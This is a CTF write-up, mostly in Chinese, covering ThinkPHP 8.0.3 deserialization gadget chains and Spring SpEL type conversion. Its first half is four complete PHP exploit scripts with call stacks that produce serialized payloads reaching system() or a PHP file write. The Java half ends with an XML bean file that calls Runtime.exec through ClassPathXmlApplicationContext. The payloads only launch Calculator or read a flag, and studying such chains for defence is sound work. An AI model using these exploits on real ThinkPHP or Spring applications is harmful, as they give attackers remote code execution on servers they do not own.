web
thinkphp
tp8.0.3反序列化链挖掘,,整理了一下,一总共发现了4条链子,3个sink点。
1
调用栈

exp如下
<?php
namespace think\route{
class Route{
}
class ResourceRegister {
public function __construct()
{
$this->registered = false;
$this->resource = new \think\model\relation\HasMany();
}
}
}
namespace think\model {
class Pivot{
private $data = ["1"=>["="=>"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"]];
private $withAttr = ["1"=>["="=>"system"]];
protected $jsonAssoc = true;
private $get = ["2"=>"2"];
protected $json = ["1"=>"1"];
protected $pk = 'id';
public array $parent = array();
}
}
namespace think\model\relation{
class HasMany{
protected $localKey;
protected $parent;
public function __construct()
{
$this->query = true;
$this->parent = new \think\model\Pivot();
$this->foreignKey = "1";
$this->localKey = "1";
}
}
}
namespace {
$pop = new think\route\ResourceRegister();
$pop = serialize($pop);
$pop = urlencode(base64_encode($pop));
echo $pop;
}sink点

2
调用栈
Socket.php:101, think\log\driver\Socket->save()
Channel.php:137, think\log\Channel->save()
Channel.php:96, think\log\Channel->record()
Channel.php:156, think\log\Channel->log()
Channel.php:161, think\log\Channel->__call()
MorphMany.php:390, think\log\Channel->where()
MorphMany.php:390, think\model\relation\MorphMany->baseQuery()
Relation.php:243, think\model\Relation->__call()
ResourceRegister.php:51, think\model\Relation->getRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:70, think\route\ResourceRegister->__destruct()
Xctf.php:11, unserialize()
Xctf.php:11, app\controller\Xctf->hecker()
exp
<?php
namespace think\Log{
use think\Log;
class ChannelSet{
public function __construct( $log, $channels)
{
$this->log = new Log($log);
$this->channels = $channels;
}
}
}
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace Psr\Log {
interface LoggerInterface
{
public function log($level, $message, array $context = array());
}
}
namespace think\log{
use Psr\Log\LoggerInterface;
use think\contract\LogHandlerInterface;
use think\Event;
class Channel {
protected $logger;
protected $lazy;
public function __construct($exp)
{
$this->event= new \think\Event();
$this->logger = $exp;
$this->name= "12312";
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
class Event
{
protected $app;
public function __construct()
{
// $this->app = $app;
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace think\route{
class Route{
}
class ResourceRegister {
public function __construct()
{
$this->registered = false;
$this->resource = new \think\model\relation\MorphMany();
}
}
}
namespace think\model {
class Pivot{
private $data = ["1"];
protected $pk = 'id';
public array $parent = array();
}
}
namespace think\model\relation{
use think\log\driver\Socket;
use think\log\Channel;
use think\log\ChannelSet;
class MorphMany
{
protected $query;
protected $baseQuery;
protected $parent;
protected $localKey;
private $data = ["1"];
public function __construct(){
$this->foreignKey = "1";
$this->localKey = "parent";
$c = new Socket();
$b = new Channel($c);
$this->query = $b;
$this->parent = new \think\model\Pivot();
}
}
}
namespace {
$pop = new think\route\ResourceRegister();
$pop = serialize($pop);
$pop = urlencode(base64_encode($pop));
echo $pop;
}sink点

3
Socket.php:101, think\log\driver\Socket->save()
Channel.php:137, think\log\Channel->save()
Channel.php:96, think\log\Channel->record()
Channel.php:156, think\log\Channel->log()
Channel.php:161, think\log\Channel->__call()
Conversion.php:302, think\log\Channel->append()
Conversion.php:302, think\Model->appendAttrToArray()
Conversion.php:252, think\Model->toArray()
Conversion.php:366, think\Model->toJson()
Conversion.php:371, think\Model->__toString()
Resource.php:118, think\route\Resource->parseGroupRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:70, think\route\ResourceRegister->__destruct()
Xctf.php:11, app\controller\Xctf->hecker()
exp如下
<?php
namespace think\log{
use Psr\Log\LoggerInterface;
use think\contract\LogHandlerInterface;
use think\Event;
class Channel {
protected $logger;
protected $lazy;
public function __construct($exp)
{
$this->event= new \think\Event();
$this->logger = $exp;
$this->name= "12312";
$this->lazy = false;
}
}
}
namespace think{
class Route{
protected $group;
public function __construct($group)
{
$this->group = $group;
}
}
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system("open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
class Event
{
protected $listener = [];
protected $bind = [
'AppInit' => event\AppInit::class,
'HttpRun' => event\HttpRun::class,
'HttpEnd' => event\HttpEnd::class,
'RouteLoaded' => event\RouteLoaded::class,
'LogWrite' => event\LogWrite::class,
'LogRecord' => event\LogRecord::class,
];
protected $app;
public function __construct()
{
// $this->app = $app;
}
}
abstract class Model {
protected static $db;
}
}
namespace think\model {
class Pivot{
public array $parent = array();
protected $visible = [];
protected $hidden = [];
protected $append = [];
private $relation = [];
public function __construct($relation, $append,$hidden = [],$visible = [])
{
$this->relation["exp"] = $relation;
$this->append = $append;
$this->hidden = $hidden;
$this->visible = $visible;
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace think\route{
class ResourceRegister{
public function __construct($resource)
{
$this->resource = $resource;
}
}
class Resource extends Rule
{
public $rest = [];
protected $model = [];
protected $validate = [];
protected $middleware = [];
public function __construct( $router, $parent = null, string $name = '', $route = '', array $rest = [])
{
$name = ltrim($name, '/');
$this->router = $router;
$this->parent = $parent;
$this->rule = $name;
$this->route = $route;
$this->name = "123123";
// 资源路由默认为完整匹配
$this->option['complete_match'] = true;
$this->rest = $rest;
}
}
abstract class Rule
{
protected $name;
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$Pivot = new think\model\Pivot($b,["exp"=>["0"=>"123123"]],["123123"=>["123123"]],["123123"=>["123123"]]);
$name = 'resourceName';
$rest = [
'create' => ['GET', '/create', 'create'],
'store' => ['POST', '/', 'store'],
'show' => ['GET', '/<id>', 'show'],
];
$router = new think\Route($b);
$resource = new think\route\Resource( $router, "", $name, $Pivot, $rest);
$a = new think\route\ResourceRegister($resource);
echo urlencode(base64_encode(serialize($a)));
}sink点

4
这是比赛白神打的。
Validate.php:836, think\Validate->think\{closure:/Users/kkfine/Sites/localhost/vendor/topthink/framework/src/think/Validate.php:833-849}()
Validate.php:864, think\Validate->is()
Validate.php:1700, call_user_func_array:{/Users/kkfine/Sites/localhost/vendor/topthink/framework/src/think/Validate.php:1700}()
Validate.php:1700, think\Validate->__call()
HasMany.php:372, think\Validate->where()
HasMany.php:372, think\model\relation\HasMany->baseQuery()
Relation.php:243, think\model\Relation->__call()
ResourceRegister.php:51, think\model\Relation->getRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:70, think\route\ResourceRegister->__destruct()
Xctf.php:11, app\controller\Xctf->hecker()
exp 如下
<?php
namespace think {
class Validate {
protected $type = [];
public function __construct()
{
$this->type = [
"=" => "system"
];
}
}
}
namespace think\model {
class Pivot{
public $parent = [];
}
}
namespace think\model\relation{
class HasMany{
protected $localKey;
protected $parent;
public function __construct()
{
$this->query = new \think\Validate();
$this->parent = new \think\model\Pivot();
$this->foreignKey = "cat /flag";
$this->localKey = "parent";
}
}
}
namespace think\route {
class ResourceRegister {
public function __construct()
{
$this->registered = false;
$this->resource = new \think\model\relation\HasMany();
}
}
}
namespace {
$pop = new think\route\ResourceRegister();
$pop = serialize($pop);
$pop = urlencode(base64_encode($pop));
echo $pop;
}sink点

java
考点是spel中的类型转换,官方解释如下,给了一个例子,很简单就是在赋值的时候spel自动的把”false”字符串转换成了bool类型的false,先来调试看看怎么转换的吧。

解析的逻辑从doParseExpression开始,首先会进行Tokenizer的初始化

Tokenizer 类的作用是将输入的数据(表达式)解析成一个标记(token)流。
1. 定义替代操作符名称
• ALTERNATIVE_OPERATOR_NAMES:包含替代操作符的名称列表,这些名称需要与 TokenKind 枚举常量名匹配。例如,DIV 对应除法操作符,EQ 对应等于操作符等。
2. 字符标志
• FLAGS:一个字节数组,用来标记字符的属性。例如,标记哪些字符是数字、哪些是十六进制数字。
• IS_DIGIT 和 IS_HEXDIGIT:用来标识数字和十六进制数字的标志位。
• 静态代码块初始化这些标志位,将数字字符和十六进制字符的相应位置设为相应的标志位。
3. 类成员变量
• expressionString:保存输入的表达式字符串。
• charsToProcess:将输入的表达式字符串转换为字符数组,并在末尾添加一个空字符(\0)。
• pos:当前处理的字符位置。
• max:字符数组的长度。
• tokens:用于存储生成的标记列表。
调用process函数将输入的表达式字符串逐字符地解析为标记(token)列表,跟进去其实就是if-else,最后会将spel表达式分成几个部分

这里最终的结果就是4个部分,我们的原始表达式是booleanList[0]。

然后在eatExpression()函数中开始构造ast树,从注释中可以看到在这一层,程序默认传过来的表达式只有这几种结构:
赋值操作 (ASSIGN) a = 5 // 结果是 a 现在为 5
默认值操作 (DEFAULT) a > 5 ? 'greater' : 'less or equal'
三元操作 (QMARK). b ?: 'default'
Elvis 操作 (ELVIS). a > 5 ? 'greater' : 'less or equal'

直接跟到最里面的一层eatPrimaryExpression函数,即解析最基础的表达式部分,
eatPrimaryExpression:369, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatUnaryExpression:363, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatPowerIncDecExpression:317, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatProductExpression:296, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatSumExpression:278, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatRelationalExpression:233, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatLogicalAndExpression:220, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatLogicalOrExpression:207, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
eatExpression:168, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
doParseExpression:138, InternalSpelExpressionParser (org.springframework.expression.spel.standard)
doParseExpression:63, SpelExpressionParser (org.springframework.expression.spel.standard)
doParseExpression:34, SpelExpressionParser (org.springframework.expression.spel.standard)
parseExpression:56, TemplateAwareExpressionParser (org.springframework.expression.common)
parseExpression:45, TemplateAwareExpressionParser (org.springframework.expression.common)
main:22, test2 (com.ctf.ezspel)
chatgpt解释一下吧
1.eatExpression: 这是解析器中的最顶层方法,负责解析整个表达式。它会调用其他方法来解析不同层次和类型的子表达式。
2.eatLogicalOrExpression: 解析逻辑或表达式,它调用 eatLogicalAndExpression 方法来解析逻辑与表达式,并在需要时处理 OR 运算符。
3.eatLogicalAndExpression: 解析逻辑与表达式,它调用 eatRelationalExpression 方法来解析关系表达式,并在需要时处理 AND 运算符。
4.eatRelationalExpression: 解析关系表达式,它调用 eatSumExpression 方法来解析求和表达式,并根据操作符来处理不同的比较操作。
5.eatSumExpression: 解析求和表达式,它调用 eatProductExpression 方法来解析乘积表达式,并处理加法和减法运算符。
6.eatProductExpression: 解析乘积表达式,它调用 eatPowerIncDecExpression 方法来解析幂运算和自增自减表达式,并处理乘法、除法和取模运算符。
7.eatPowerIncDecExpression: 解析幂运算和自增自减表达式,它调用 eatUnaryExpression 方法来解析一元表达式,并处理幂运算符 POWER,以及自增自减操作符 INC 和 DEC。
8.eatUnaryExpression: 解析一元表达式,它可以处理正负号、逻辑非等操作符,或者直接调用 eatPrimaryExpression 方法来解析基本表达式。
9.eatPrimaryExpression: 解析基本表达式,它是解析器中的最底层方法之一,负责解析最基本的表达式单元,如字面量、括号表达式、类型引用等。
直接跟进eatPrimaryExpression函数

在eatPrimaryExpression函数,首先会调用eatStartNode用于解析一个起始节点,起始节点可以是各种不同类型的节点,如文字、括号表达式、类型引用、方法或属性等,所以在这个函数中也是经典if-else,我们这里是一个属性的赋值,所以在maybeEatMethodOrProperty被解析成功。

然后调用eatNode函数,首先会判断不同的访问对象或者属性的方式,例如person.name等是点访问节点(dotted node),array[0] 访问数组或者map[‘key’] 访问映射则是非点访问节点(Non-Dotted Node)

booleanList[0]当然是NonDotted,所以调用eatNonDottedNode函数,先判断标记流当前位置的字符是不是左括号,然后解析调用maybeEatIndexer函数

maybeEatIndexer函数就是解析括号中得值,最后将解析到的索引操作节点(Indexer)推入节点栈中。

最终解析完的节点包括两个,一个是属性引用节点,一个是索引节点

然后会调用setvalue进行赋值,

最终会在Indexer.setValue利用this.typeConverter.convertValue()进行类型转换

在convertValue中可以看到conversionService支持非常多的类型转换,这里利用到了从string到boolean的converter。

在Converter中调用getConverter去寻找对应的转换器,然后调用对应的转换器里面的convert函数出进行转换。

在这个官方例子中,最终就会在StringToBooleanConverter中调用convert函数将string转换成boolean,这里具体的操作是会通过判断trueValues和falseValues是否含有要进行赋值的字符串,如果有则返回相应的boolean的TRUE或者FALSE。

所以回到题目的写法,其实这样parser.parseExpression("booleanList[0]").setValue(simpleContext, "no");去执行,也是能够将booleanList[0]的值改成bool类型的false。
public class test {
public static void main(String[] args) {
class Simple {
public List<Boolean> booleanList = new ArrayList<Boolean>();
}
Simple simple = new Simple();
simple.booleanList.add(true);
Boolean b1 = simple.booleanList.get(0);
System.out.println(b1);
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("booleanList[0]='no'");
Object obj = expression.getValue(context, simple);
System.out.println(obj.getClass().getName());
Boolean b = simple.booleanList.get(0);
System.out.println(b);
}
}回到题目,这里可以控制root根对象,然后在这个上下文执行spel表达式,所以肯定是需要根一对象进行转换,利用#this肯定获取的是跟对象了,当执行#this[0]=123时会发生类型转换报错
明显这里发生了类型转换,调试一下这个name=java.net.URL&expr=#this[0]="123",先获取到对应的Converter转换器,这里从String到URL类,获取到了ObjectToObjectConverter转换器,

不过很奇怪的是从Integer到URL类什么也获取不到,String和Integer按理说都是Object对象类。

最终则会直接到ObjectToObjectConverter.convert函数,这里直接实例化java.net.URL类了,并且将12312当作构造函数参数传入。

所以最终需要找到一个类实例化就能rce,最近出场率很高的ClassPathXmlApplicationContext完美符合。后续也找了找别的类未果。

poc.xml
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator" />
</bean>
</beans>